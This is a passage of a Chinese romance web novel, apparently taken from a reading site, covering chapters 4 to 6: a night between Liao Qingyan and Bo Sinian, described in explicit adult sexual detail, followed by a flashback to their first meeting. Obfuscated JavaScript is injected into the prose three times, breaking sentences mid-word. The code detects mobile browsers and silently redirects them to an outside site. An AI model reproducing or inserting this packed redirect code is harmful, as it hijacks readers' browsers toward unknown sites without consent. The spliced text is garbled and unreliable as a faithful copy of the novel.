却听薄司年突然问:“叶惟舟喜欢你?” 廖清焰愣了一下,像是放松警惕之时,被人杀了个回马枪,略觉得措手不及。 没有料到,薄司年所谓的问题会是这个。 “叶惟舟”这名字会从他嘴里说出来就很奇怪,因为印象中两人压根没有打过任何交道,她一直以为他们完全不认识,是纯粹的陌生人。 不过倒不难回答。 廖清焰捋了一下头发,呼吸已有几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471308|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分阻滞感,这种时候,她会放弃深思,否则一定很难一口气讲完这些话:“你觉得我漂亮吗?——不要误会,我是觉得漂亮这种事每个人的标准不一样,为了更好回答你的问题,还是先确定一下你的标准比较好。” 当然不是。她知道自己漂亮得不得了,五岁的时候就知道了。 她就是想知道,要给薄司年加上一个“诚实”的优点,还是“伪善”的缺点。 如她所料,一阵沉默。 这沉默的用意,大约和方才在车上,他听见她忽然问他捡没捡过流浪猫时的反应类似。 但很快,薄司年还是给出了答案:“客观事实。” 廖清焰观察到的薄司年,从未恭维过任何人。可假如有人幸得他的恭维,大约就会是她此时此刻的心情。 客观事实。 有什么回答,比这句称赞更具分量?反正,她匮乏的词汇量想象不到。 她警惕这种如入云端的晕眩感,也压住了差点上扬的嘴角,继续说道:“大家对长得漂亮的人,都会多一点追逐欲。叶惟舟对我可能是这样吧,至于有没有到喜欢的程度,我不知道……他想让我做他的女主演,说他的新剧本,主演非我不可。” 对文艺创作者而言,缪斯是比情人、女友、妻子更高的存在,是精神上的耶路撒冷。 薄司年又沉默下去。 廖清焰既想撞墙,又想开口让他直接给个痛快。 片刻,薄司年将身体转了过来,面朝着她,站得比方才端直了两分,也因此多了些严肃的意味。 语气同样:“提前说明,我跟叶惟舟有很深的过节。如果你能接受,我们可以继续你最开始的提议。” 廖清焰才不笨,说笨只是自谦,她相信薄司年也不会这样觉得,否则他才是笨蛋。 所以,她一秒钟就听明白,这有些外交辞令意味的话是什么意思。 “所以……刚刚在你后面的那辆车,是叶惟舟的吗?”她突然意识到。 “嗯。” “所以你只是不想我上他的车。” 薄司年没有否认。 玻璃窗外狂风骤雨,室内却阒静无声。他好像小时候就不爱看卓别林,极具夸张的肢体动作,却不能配以同等声量的台词,总会叫人觉出某种不协调。 不协调意味着不舒服。 片刻,他意识到,是因为此前,廖清焰总会在他出声之后立即接话,延迟不会超过两秒。 此刻却回以长久的沉默。 沉默之于廖清焰,就似乎很不协调,不舒服。 “夺人所好”和“见色起意”当然同等恶劣。 只是,这是他的标准。 对于一个女孩子而言,是否前者的恶劣程度,更胜一筹? 薄司年垂眼,注视廖清焰,试图分析她此刻的沉默,是否因为终究不免觉得受伤。 然而,下一刻就听见她轻笑出声,“也算公平。” 她把头转过来,指一指他,“你报复叶惟舟……”再指一指自己,“我报复周琎。很公平。” 薄司年没有作声。 他陡然觉出一些荒谬和索然,或许这个由一句玩笑话展开的夜晚,根本就不该成立,否则也太抬高叶惟舟的身价了——他是什么东西,他也配吗。 薄司年退后半步,手抄进长裤口袋里,转身:“休息去吧。当我没说过。” 廖清焰愕然转头,想也没想地伸手,一把抓住了薄司年的手臂。 薄司年顿步,垂眼看她的手,又看向她的脸。 太逾距了,廖清焰一瞬就反应过来,但已经顾不得,恼然道:“耍人好玩吗?” 薄司年没作声。 廖清焰是真的很生气。 她没有要坐他的车,是他硬让她上的;没有要来他家里,也是他自作主张带来的。 他的问题,她回答过了;她也阐明了自己的立场,她允许他是“夺人所好”而非“见色起意”。 他不能因为她喜欢他,就这样欺负人吧。 但是,她什么也说不出口。真是奇怪。所有的语句,都变成了嶙峋的石头,滞塞在她的喉咙里。 算了。 至少她洗过澡了,也吃到了热腾腾的面,虽然客观来说,比不上陈叔的手艺。霁山路打车应当不难,她现在回家,还能睡个好觉。她的新床单很漂亮。 想到这里,廖清焰松开了手。 而就在手臂垂落的一瞬,手掌被扣住了。 微冷的触感,像某种暗生的植物。思绪短路一瞬,她意识到,那是薄司年的手。 “你手很冷。”薄司年声音比寻常低一些,轻微得不易察觉。 廖清焰诧异地张了张口,抬眼,目光还没触及到薄司年的脸,就睫毛微颤地垂下了眼皮。 “刚刚在外面做什么。”他又问。 “……你知道水波灯吗?手电照着有点像。”廖清焰声音很轻,甚至越说越低。手心泛潮,呼吸的频率也变得不自然,“……你刚刚差点吓死我。” “这句话似乎应该我来说。” 廖清焰不知道自己怎么会笑出声,“……对不起。” 握着她的手,收拢了两分。 并不算很紧,她却觉出一点痛感,与他掌心皮肤接触的地方,仿佛生出了细密的软刺。 薄司年不再说话,只是顺势将她轻轻一拽。 她身不由己地往前迈了半步。 他身上淡而微冷的香气扑过来,充斥呼吸,她变得彻底无法思考。 随后,就这样被他牵着,远离了玻璃墙,深一脚浅一脚地往黑暗深处走去。 4. 04.初熟 他们如同两束自由的游魂,穿过黑暗客厅,进入更深处的房间。 呼吸与脚步不同频,每走一步都像踉跄,廖清焰攥紧了薄司年的手指,把他微凉的皮肤,也攥出了一点微薄的热度。 薄司年推开门,抬手,手指碰上了门边开关,停顿一霎,没有揿下。 廖清焰感觉到握着她的那只手松开了,抬起,食指骨节微屈,碰了碰她的脸,声音如雾气落下:“喝水吗。” 廖清焰干咽了一下,不自觉点头。 薄司年似乎微微颔了颔首,又似乎没有,转身走了出去。 廖清焰抱住手臂,走进房间。这是最东边的客卧,带衣帽间、浴室与拐角阳台的大套房。阳台两面都是树景,玻璃的隔音不如楼下,因此有隐约的风雨声泄了进来。 深呼吸难以排遣紧张,她走到床尾坐下,整个人直往下陷,吓了一跳,赶紧起身,意识到是床铺太软。 僵立须臾,往浴室走去,她想看一看,自己的脸色到底多难看。 找到开关揿下,浅澄灯光洒落,米白石墙上的镜子里,映出一张略显苍白的脸。但是还好,只是正常程度的缺乏血色。 之前吃完夜宵就刷过牙了,因为预备参观一圈就睡觉。 此刻,目光陡然注意到台面上整套洗漱用品里,也包括未拆封的牙刷。廖清焰做贼一样竖起耳朵听了听,外面暂且没有动静。 飞快拆开牙刷,又刷一次。 牙膏是一种清甜的柚子味,她已经在代购那里搜到了贵得要命的同款,加入了购物车。 吐掉泡沫漱口,忽听门外传来脚步声。 迅速将牙刷与玻璃杯归位,手伸到水龙头下,假作气定神闲地洗手。 脚步进了屋,停留一瞬,向着浴室靠近。 廖清焰紧张屏息,目光陡然瞥见镜中自己唇边还残留一点白色泡沫,立即抬指擦去。 下一瞬,薄司年的身影,就出现在了浴室门口。 一直知道他很高,此刻有门框做参考系,才知道,或许比她目测得还要再高一点。 也因此极具压迫感。 廖清焰无来由心慌,瞥了镜子里的人一眼就立即转移了目光,只盯住自己的手。 薄司年没有出声,斜倚门框而立。 她察觉到他在注视她,但无法去确认其用意是观察还是审视。 水声哗啦,响了许久,廖清焰意识到,自己洗手的时间未免过长了,赶紧抬手,压下水阀。 “……你要用吗。”她问。 “不用。” 水声消失,空间就只剩尴尬的寂静。 廖清焰心里慌得不行,仅以不要出丑的本能在保持镇定。 她取纸擦手,后悔自己方才说要喝水,如果不要,是不是当时直接进入正题更好一些。 不对……她后知后觉,拿水只是顺便,薄司年真正要去拿的是…… 紧张像一团不断膨胀的棉絮,把她的肺叶堵满,难以呼吸。 她第一次有紧张得想吐的感觉,或许方才应该问薄司年要酒而不是水,毕竟,大多数的一夜情,都是从酒吧开始的不是吗。 她讨厌自己因为紧张而无法自如调用自己的呼吸、四肢和大脑。 讨厌薄司年可以影响她这么深。 无法再逞强了。 “薄司年……”耳朵里出现了类似乘坐飞机时,因气压差异而导致的短暂嗡鸣,她有点听不见自己的声音,自然也不知道,每个字都在微微颤抖。 很少有人对薄司年直呼其名。关系亲近的朋友叫“司年”,工作场合叫“薄总”,不近不远的人,会叫他英文名“Simon”。 薄司年目光从她手指上移,注视她的脸:神情倒不像声音那样凄惶,只有一种很本真的无措。 她似乎想要把头抬起来,稍作尝试就放弃了,细长手指撑住台沿,“……可以牵我吗。” 薄司年一步迈入浴室,抓住她撑住的那只手,攥紧,蓦地一拽。 她似乎腿软得支撑不住,被拽得径直投入了他的怀里,没有任何对抗。 但紧接着,她似乎反应过来发生了什么,僵着的手往他手臂上一搭,似乎想要退离站直。 “别动。”手臂上移,箍住她的腰,她顿时滞立静止。 打直球的时候那么语出惊人,怎么现在又害怕成这样。 薄司年低头,嘴唇挨到了她头顶的发丝,他偏了偏脑袋,避开,另只手抬起来,关掉了浴室的灯。 黑暗似乎让她略有缓和,至少指甲没再那样紧紧地掐住他手臂的皮肉。 暂时无人动弹。 薄司年节律如常的呼吸里,渐渐开始有其他气息侵入,皮肤、发丝……与他同样的沐浴露与洗发水,却因使用者不同,而出现微妙差别。 他仿佛自发低头,想要闻得清楚一些,辨明这种差别的成因。 廖清焰如惊弓之鸟,任何一点动静都能让她心脏惊跳,当感觉到薄司年低头,她悚然屏息。 他的呼吸是落在了她的耳后。 停留许久,鼻尖轻蹭。 耳后薄软的皮肤,感觉到了一点温热,意识到那是薄司年的嘴唇,脑中嗡响,血液逆流。 石质地砖变作沼泽地,双足下陷,她本能手指用力,抓紧薄司年的手臂。 她个头超过一米七,可仍然能被薄司年整个笼在怀里,男人高颀的身躯极具气势,轻轻一推,她便身不由己后退,后背抵住洗手台。 温热呼吸如火焰流窜于耳后、颈侧,头颈后仰,像一种避免被灼伤的直觉反应。 她感知不到心脏的存在,或许它们早已因为过速而彻底罢工。 双足突然悬空。 廖清焰下意识伸臂搂住薄司年的肩膀。 坠落的恐慌并未消失,反而随着薄司年将她抱出浴室的脚步层层加剧,直至终结于过软的床铺。 像是彻底溺入流沙,不必再尝试抵抗。 没给她喘息的机会,高大身影倏然俯落。 指触和呼吸制造的火焰,自颈侧开始,渐而燎延至所有的山野与平原。 没有廖清焰预期的那样尴尬,或许因为黑暗抹除了他们身份的陌生。 此刻仅仅只是合谋的共犯,他的报复与她的私心。 皮肤寻找皮肤的温度,手指捕捉手指的间隙,拥抱发挥拥抱的作用:缠绕、弥补空虚,抑或有效期仅至明日清晨的短暂占有。 一切都很纯粹。 廖清焰突然不害怕了。 她无数次在黑暗里去摩挲薄司年的眉骨、鼻梁、嘴唇和耳朵,从前只能暗自远观的人,此刻切实地在她的指掌之间。 她被他禁锢,密不透风,无憾的心情像久炽后的一场暴雨。 进展十分缓慢。 廖清焰不清楚是不是薄司年的习惯,要予以女伴最充足的准备。 她不大好受,因为一切感觉都陌生得让人恐惧。 更因为是薄司年,所以他的任何行为,都可以在她的心理与生理,掀起同等剧烈的海啸。 尤其在感知到薄司年指腹温度的那个刹那,她几乎呼吸急停。 她不止一次偷偷打量他的手。 持弓、打电话、拿水瓶、在霁外的篮球场投篮、在风摇影动的图书馆用钢笔沙沙做笔记…… 她知道他的手有多好看、多灵巧。 一枚初熟的青梅,在他指尖也能轻易被拈出清咸的水雾。 圣经故事里人类都带着原罪,可人类本来就平庸又软弱,抵抗不住这样庞然的空虚和甜美的引诱,根本不足为奇。 廖清焰控制不住发抖,手臂去找薄司年的肩背,在黑暗里拥住了他。 很难说得清楚,自己是不是真的做好了准备,以及准备的尽头,究竟具体是什么。 只是直觉目前为止的一切,已然满足不了她的贪心,那种陌生的空陷感,只能被薄司年彻底拯救。 她抬头,鼻尖一下一下轻蹭薄司年的喉结,声音发哑地唤他的名字:“……薄司年。” 人类在发明语言之前,因为繁衍的需求,天然就会做这件事。 所以明确的语言不是必须,一个动作,一点呼吸节奏的变化,对于参与的另一方都是明示。 更何况,这是薄司年第一次听见,自己的名字可以被喊出这样缱绻的意味。 节制和耐心只是教养,而非他的本性。 既然她已发出邀请。 但很快,薄司年紧咬牙关,额角泌汗。 比他预期的困难得多。 再次尝试,滞塞难行,他只好低头,指腹抹一抹廖清焰汗津津的鼻尖,低声问:“我找错了吗?” 廖清焰难免讶异,福至心灵地想到,此前他的缓慢,莫非只是……单纯的没经验? 廖清焰摇头,咬咬嘴唇,“你……继续。” “确定?” “……嗯。” 伴随廖清焰抽气的“嘶”声,后背肩胛传来一阵皮肤被抓破的刺痛。 空气如同提琴弦断,铮然静止。 薄司年停住动作。 他不相信一切还能更荒谬,可指腹去触碰,在她的眼角,触到了温热的水汽。 他当即准备退后,然而廖清焰迅速伸臂将他拥住。额头靠着他的肩头,连摇了两次头。 颈侧皮肤感知到的潮湿,应当是她的眼泪。 薄司年顿了顿,才伸手扣住她的后脑勺,声音沙哑,语气没有温度,“现在才觉得后悔已经晚了。” “……没有。” “那是很疼?” “……一点。” “那为什么哭?” 廖清焰摇头。 薄司年突然想要开灯,看一看她现在是什么表情——究竟是有多喜欢周琎,才选择以这种杀身成仁般的壮烈进行报复。 任何人被利用,都难免带有抵触情绪,即便出发的时候,宣称是“公平”交易。 但此时此刻,某种暴戾的情绪,似乎压过了这种抵触,使薄司年沉着眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471309|201496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,选择了继续。 她不可能放松,他也是同样,于是这过程简直单纯地成了盟约缔结之前歃血的仪式,全凭一腔志气。 但渐渐的,情况好像起了一点变化。 似乎是某一刻,他感觉到廖清焰把头低了下去,流泪之后略微潮湿的嘴唇,轻轻压住他的喉结,低哑的声音带着一点点小心翼翼:“……可以叫我名字吗?” 这一瞬,所有的暴戾和抵触,好像都被抚平。 “廖……” “名字。” 薄司年顿了一下,拥着她的手臂收紧两分。 “清焰。” / 廖清焰抱膝坐在浴缸里,下巴抵在膝盖上。 温水浮荡,她长久出神。 好像走投无路,浑身上下只剩下两块钱,破罐破摔地去买了一注彩-票,结果却中了奖池头奖。 超出预期的好运,必然伴随强烈的不真实感。 忽听门把手被压下。 廖清焰吓一跳,水面上没有可供遮掩的泡沫,毛巾又搁在台面上,情急之下,她一把拆下了盘起的头发。 站在门口的薄司年,仅着长裤,因为上衣在过程中不小心被压住弄脏了。 廖清焰视线闪烁,克制自己不要在这种时候去瞟他的腹肌,小声说:“……你没敲门。” “半个小时了。”薄司年淡声提醒。 估计以为她晕倒在浴缸了。 “……我马上就好。” 薄司年却没有出去,而是径直朝着她走了过来。 廖清焰赶紧将浮在水面上的头发都搂到面前。 他在浴缸边缘坐了下来,微躬后背,手肘抵膝。 表情依然平淡,与一切还未发生时一模一样。 他把头往下低了低,长睫毛的阴影投落在眼睑下方,瞳色偏淡的眼睛里,情绪同样匮乏。 盯了她一瞬,说道:“你可以提一个要求。作为补偿。” 廖清焰微讶:“你不欠我呀。” “毕竟你哭了。虽然不知道为什么,但不会是因为体验很好。” ……难得,他居然有自知之明这个优点。 “真的不用……” “你可以慢慢考虑。” 廖清焰快速地眨了几下眼睛,“……什么要求都可以吗?” “只要我能办到。” “……类似给我一个亿这种呢?” “可以。” 或许,也只有薄司年这样的人,才会应允一个亿的条件与应允早餐喝美式咖啡一样,没有丝毫犹豫——这和他多有钱无关,和他隐性的自毁倾向有关。原本这一点观察,廖清焰还觉得有待商榷,但现在她反而可以肯定了。 廖清焰没有立刻出声,默了数秒,才轻轻笑了笑:“如果是担心我会讹诈你,或者宣扬出去给你造成麻烦,你可以放心,我不会的。” 这其实有些小人之心了,但薄司年依然没有什么表情变化。想要真正冒犯到他,似乎很难。 “你还不至于有这样的破坏力。”薄司年淡淡地说。 “……” 瞧不起谁?信不信她马上就把微信名称改成“小火(已睡过薄司年版)”。 廖清焰想了想,“可以现在就兑现吗?” “一个亿?” “不是。钱这种东西,还是自己赚来的比较安心。我想要……” 薄司年微低额头,看着她,等她提出要求。 廖清焰紧紧盯住他的嘴唇,无论唇形还是唇色,都很好看。 她倏地移开了视线,“……我还是再想想吧,这种机会可不常有。” 薄司年无可不无可。 意思传达到位,他便准备离开浴室,起身前伸手探了探浴缸的水,“快凉了,早点起来吧。” 手要收回的一瞬,被一把握住。 他顿住身形,低眼。 湿漉漉的手指,顺着他的手掌,缓慢攀上手腕。 浴缸里的那颗脑袋,却沉得更深,已经淹过下巴。 白漭漭的热气后面,那双眼睛仿佛浸过水一样,更加的黑白分明,就这样直直地看着他。 “你还要来一次吗?”她声音低不可闻。 薄司年没有答话。 目光长久定在她脸上,说不出来是不是审视。 廖清焰有一点难堪,如藤蔓一般攀在他手腕上的手指,悄悄往回缩。 薄司年却在这瞬间忽然翻腕扣住她的手腕,往自己面前一拽。 水面急速荡开,从浴缸边缘漫出,浇在地砖上。 湿漉漉的整个人,在他面前站立。 薄司年抬手,慢条斯理地抚摸她从肩头垂落的,一头滴水而微卷的长发。 廖清焰在高处,低眼即能看清楚薄司年的表情。 他动作好似带着一点漫不经心。 只是如此,她却渐渐觉得缺氧。 下一瞬,修长手指撩开了她的头发。 呼吸挨上去。 5. 05.枪茧 陶瓷浴缸湿滑,廖清焰自感脚底虚软,站立不住,只好两手抱住了薄司年的脑袋。 虽然想要纵容他做任何事情,但从黑暗中的隐晦辨认,直接跳转到此刻浑身滴水地站在他面前而无任何过渡,还是过分挑战她的羞耻心。 “薄……”廖清焰手掌轻推。 薄司年掀眼,从低处看她,嘴唇正将衔而未衔。 廖清焰头皮发麻,耳尖顿时烧得通红,差一点直接一把将他推远。 涉水朝他靠近半步,手臂搂住肩膀,声音低低的自己也听不清楚,“你抱我……” 薄司年起身,拦腰横抱。 皮肤上的水没擦干,头发也是湿的,浅亚麻色的床单瞬间被大摊水渍洇湿,像窗外的雨下到了室内。 有一个瞬间,想让薄司年关上灯,但又想用眼睛记住更多细节。 人们发明了相机,又将相机功能内置于手机,只要愿意,随时可以掏出记录。可相册里的照片成千上万,被大脑记住的却寥寥无几。 可能很多人已经忽略,拥有600万视锥细胞的人类的眼睛,和不能忘记的迫切心情,其实才是最好的相机。 冷玉一样的皮肤,浓黑的头发,浅褶的双眼皮,眼窝处淡淡的阴影,微沉的鼻息,温热的汗气,以及眨眼时,睫毛从她锁骨处拂过的痒…… 今晚关于薄司年的这一切,她都绝无可能忘记。 头发虽是湿的,却一点也不觉得冷,水汽被紧贴的体温烘烤,薄被里的世界,如水雾蒸腾的热带泽国。 “薄司年……” 薄司年抬头,自昏黄灯光里瞥她一眼。 她抬起手臂,将自己的上半张脸挡住,嘴唇启合,说了一句什么。 薄司年手肘撑起身体,脑袋低垂,附耳凑拢,“没听清。再说一遍。” “……” 她目光躲闪,最后干脆转头把脸埋进了枕头里。 过了好一会儿,声音闷闷地发出来:“……我说可以摸一下吗?” 薄司年反应了一下,这句话指向的对象是什么,难得有点想笑:“你太有礼貌了。” 廖清焰好像恨不得整个人都缩回被子里。 薄司年扳过她挡在侧脸的手臂,扣住手腕,在薄被的遮挡下,为她引路。 手指没有刻意丈量,也知离满握距离尚远。廖清焰脸颊顿如煮沸一样通红,觉得自己多少有点自讨苦吃。 手指松开,将要抽回,忽被薄司年一把团住。用意不言自明。 心脏兀跳,这一霎几乎破膛而出。 廖清焰大着胆子睁开眼睛去看薄司年,他的表情却很平静。 难免被激发好奇心,想挑战能否使他失控,只要呼吸乱上一拍,她就可以单方面为自己判赢。 但她不争气,实在过分不得其法,没多久忽见薄司年微微蹙眉,才意识到自己好像指甲刮到了。 “……对不起。”廖清焰着急忙慌地道歉。 薄司年脸上罕见地浮现些许一言难尽的神情,但没说什么,这一次她收手,他没有阻止,但紧跟着将她手腕一捉,箍定在她脑袋旁边,顺势携阴影俯身。 如果说方才加了滤镜,也无法昧着良心说一句“还不错”,此刻正在经历的,却叫她逐渐感觉到了恐慌。 恐慌于理智的锚点摇摇欲坠,一忍再忍,也无法阻止自己喉间逸出陌生的声音,细碎而黏腻,带着一点违背她意志的甜糜。不带任何表演性质。 思绪融化于不断升高的温度,眼前热雾弥漫。 薄司年搂她的膝弯,将小腿轻折下压。 她陡然深吸一口气,没有料想距离还可以缩得更短。 那并不好消受,薄司年大约也感知到了,所以暂停俯下身来。 呼吸于耳畔萦绕,下一秒,耳垂被他衔入口中。 皮肤顿生粟粒,一脉电流自后脊窜升,忍不住蜷缩身体。 她不知道薄司年是什么时候发现的这一处开关,她自己都不了解。 灯光很暗,像随时熄灭的烛火。无人出声,但空间并不静谧,心跳与呼吸都似无法平息的暗流。 人类常用月亮形容爱慕的人。 她是被月亮牵引的潮汐。 薄司年试着再次启动,忽听枕头边传来嗡响,持续不断。 廖清焰正要撑臂去看,薄司年一伸手捞了过来。 她的手机。 但他没有给她,微微眯眼,盯住屏幕上的“周琎”二字。 背光投在他脸上,显出一点冷意。 廖清焰捉他手腕,想要看一看是谁打来的。他拇指在屏幕上一按,嗡声停止。扬手,手机被他掷远,跌进了床角不知道什么地方。 “是谁打的?” 薄司年没答,好像很不高兴被打扰,所以故意陡然启动,她呼吸瞬间就乱了。 渐渐,薄司年也开始有所变化。 体表温度更高,呼吸促沉,眼睛浸水一样幽深。 她望着这双眼睛,短暂失神,脑海里浮现了久远之前,第一次见到他时的场景。 薄司年盯住廖清焰的脸,微微蹙眉。 廖清焰忽觉下巴被轻轻掐住,轻微吃痛,目光定焦,对上薄司年的视线。 动静急宕,一时间视野里的一切都在动荡坍塌,她措手不及。 廖清焰感觉到薄司年似乎摒弃了一些节制,因为他完全无视了她捉着他手臂低唤名字的求饶。 薄司年喜爱射击,国内枪-械管理严格,他时常飞国外的俱乐部。一个偏好毛瑟M712速射冲锋手-枪那种狂暴射击感的人,不可能没有摧毁欲。 眼角潮湿,流泪变成了生理反应。 薄司年一直在注视着她,自然第一时间就发现了,拇指轻蹭她的眼角,沉声问:“是不舒服?” 廖清焰摇头。 她的否认等同于免责声明,为他排除掉唯一需要顾虑的因素,也似乎彻底解除了他破坏欲的禁制。 强烈的暴风、洪涝与地震,以她的躯体为战场,轮流上演。 薄司年掐住她腰际的那只手,忽然下移,她几乎惊跳而起。 并拢的膝盖被强硬分开,廖清焰彻底应接不暇,只有眼泪不断涌出,她知道薄司年在观察她的反应,以让自己的手指一步一步以最高效率瓦解她的意志。 任何事情都过犹不及,欢-愉同样,浓度过高就会触发本能的防御机制。 但她绝无可能推得开薄司年。 头发凌乱、泪眼模糊的样子是否不太好看,廖清焰顾不上了,她开口,上气不接下气:“可不可以叫我的名字……” 薄司年没有作声,不知道为什么连之前给予过的怜惜也收回了,变成了彻彻底底的暴君。 廖清焰哽咽了一下,手臂环住他的后颈,再次请求:“薄司年……” 终究,他把头低了下来,手指捋一捋黏在她额头上的头发。 目光还是冷的,声音却低下去。 “清焰。” 在他声音落下瞬间,廖清焰也骤然失重跌落。 呼吸急停,长久窒息。 薄司年抽手,大掌紧紧压住她的肩膀,在余震中驱驰,毫无顾忌,直至抵达终点。 身体静滞,俯身,额头抵向她的肩膀。 他们的呼吸声如出一辙的短促粗沉,心脏也似死里逃生,在充足的氧气里剧烈跳动。 廖清焰感觉到薄司年伸手,摸了摸她的头发,随后手臂收拢,将她抱入怀中。 她脑袋往他怀里钻了钻,他低下头来,嘴唇在她头顶轻碰了一下。 无人出声。 廖清焰放任自己陷入仿佛世界已然被摧毁,做什么都无济于事的倦怠。 不知过去多久。 薄司年忽觉右手手腕被捉住了,偏头看去。 廖清焰手指轻轻抚摸他的虎口,“是枪茧?” “嗯。” 薄司年顿了一下,“你怎么知道?” “……谁不知道你喜欢射击。”廖清焰赶紧找补,“有一次我跟周琎去Caliber玩,还碰到过你。不过你应该没印象。” Calib ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薄司年顿步,低头看着撞上自己胸口的脑袋。 “……谢谢你。”廖清焰的声音听来有几分潮湿。 薄司年默了数秒,抬手轻轻拍了拍她的肩膀,“我不是好人,这种事你占不到什么便宜。下次别这样了。” 廖清焰没有说话。 她无法出声,否则一定会哭出来。 薄司年没将她推开,大约觉得,马上就结束了,也无所谓多耽误几秒钟。 如果行使那个机会,开口叫他陪她到明天早上,或者补上一个吻,他会答应吗,她不清楚。 只是,那样她更无法好好道别了。 廖清焰深吸一口气,笑着把脸抬了起来,退后半步,“……你去休息吧。晚安啦。” 薄司年“嗯”了一声,静立两秒,转身走了。 廖清焰看着他反手将门带上,身影被门板隔绝。她后退两步,在扶手椅上坐下,似乎力气尽失。 许久,拿起火柴盒,取一根划燃,点亮蜡烛。 火光摇曳,眼泪安静地流下来。 人的身体,是否也是生命的历史书,蜕变的每一笔,在她这里总是描摹得浓墨重彩。 青春期乳腺发育,一触就痛,妈妈为她买了新的内衣,是很漂亮的浅紫色,告诉她走路不要含胸,把背挺直,没什么好害羞的。哪个男生敢指指点点,就大声骂他有养无教。 月经初潮,妈妈带她去超市,教她怎么挑选卫生巾,回家路上她们一起去喝了热饮。是加了榛果的热可可,她至今记得。 每一次的生长痛,都有一个美好收尾。 今天的是一个无花果蛋糕。 她喜欢的人,真的很好很好,即便只是短暂拥有也幸运得不得了。 所以要把眼泪擦干,微笑吹灭蜡烛。 6. 06.白石 十三岁那年的冬天,在廖清焰的记忆里是透不过气的铅灰色。 父亲廖景山的小公司,从一级承包商那里,分包了永泰置业彩虹城项目的室外园林、广场铺装、景观照明等项目。 活儿干完,却被拖欠百多万的尾款,一级承包商说永泰的王老板不放款,他们也没辙。 小公司的人,都是当时跟着父亲出来单干的老员工,马上要过年,几十口人等着吃饭。 廖景山掏空积蓄,自己先垫付了部分,他急得满嘴燎泡,每天睁眼闭眼都在愁钱的事。 后来多方打听,终于打听到王老板的女儿要在霁城音乐厅参加某个小提琴比赛。 当时廖景山正带着廖清焰在外面吃饭,接到电话,筷子一丢就赶紧跑了过去。 在音乐厅外的休息平台,廖景山找到了王老板和他女儿。 王老板呵斥廖景山不懂规矩,居然敢直接越过一级承包商来找他要钱。 廖景山平日里一副文文弱弱的书生模样,碰上这种攸关生计的事,却极有血性,说到难处,声音大了几分,肢体语言也难免夸张。 王老板立即逮到机会,一把揪住他的手臂,“我告诉你,现在可是法制社会,你还想动手啊!信不信我叫保安过来把你们赶出去!” 廖清焰气得要命,正要去扒拉王老板的手臂,忽听不远处一声: “吵死了。” 声音自王老板身后传来。 廖清焰望过去,却见那边的木凳上,坐着一个少年。 明明是隆冬腊月,他却只穿着一件白衬衫,旁边搁着脱下的羽绒服。 不知道是不是生病了,他微微弓着背,脸色苍白,毫无血色,额头上隐约一层薄汗。 在他面前蹲着一个人,正拿着冰袋一样的东西,从他的手腕向掌心缓慢滑动。 王老板的女儿打量了那个少年片刻,踮脚凑到王老板身边说了句什么。 王老板一愣,立即松了手,满脸堆笑地向着那少年欠首说道:“打扰了打扰了,我们马上就走。” 王老板横举手臂,驱鸭赶鹅似地将廖景山往后推:“走走走!” “我们不走!”廖清焰藏在围巾后的声音中气十足,“你不给钱,我们就去找记者,找电视台,把你拖欠工人血汗钱的事统统曝光!” 王老板骂了句脏话。 “你姓什么?”这时候,那少年又出声了。 王老板转头,似有些没有反应过来少年指的是谁。 少年冷冷瞥他,“上回在澜园跟章总吃饭,是不是你?” 王老板忙说:“对对,就是我。” “不了解章总的脾气?工资都敢拖欠,还想跟薄家合作。” 王老板张口结舌,“这件事不是这么说的,一般来说,他一个二级承包商……” “滚。关我屁事。”少年仿佛已经厌烦得不得了。 王老板立即闭了嘴,脸涨成猪肝色。 三天后,123万多的尾款,打到了廖景山公司的账面上,分文不差。 / 廖清焰睁开眼。 脸贴着枕头,注视着拐角阳台的窗户,白色纱帘隐约透出窗外的绿色。 有风,枝叶微晃。 她想坐起来把窗户打开,迟迟没有动弹。 心里有一点空,也可能是房间里太安静了。 许久,廖清焰撑臂坐起身,拿起床头柜上电量不足20%的手机,看了看时间。 中午十一点半。 她睡了足足十个多小时,这么久,难怪做了那么多的梦。 动身起床经过窗前,瞥见了圆几上还剩一半的蛋糕。走过去拿指腹抹下一点奶油,闻了闻,好像没有酸味。 舔了舔,很甜,不再是昨晚尝到的苦得难以下咽的味道。 她知道自己已经满血复活了。 手掌拍拍脸,给自己打气:“搞钱搞钱搞钱!” 洗漱完毕,打开门,发现门口地板上放着一个藤编收纳筐,里面整齐叠放着她那条惨被泼了一碗番茄汤的裙子。 现在它干干净净,像是被谁施了一键还原的神奇魔法。 廖清焰换回自己的衣服,检查一遍没落东西,走往客厅。 吴管家从墙壁拐角处走过来,笑眯眯问道:“廖小姐睡得怎么样?” 廖清焰已经习惯了他的神出鬼没,笑说:“睡得很好。谢谢。昨天打扰了。” “想吃点什么,我让厨房去做。” “馄饨,有吗?没有的话烤个吐司就可以。” “有。” “那麻烦多加葱花和芝麻油。” 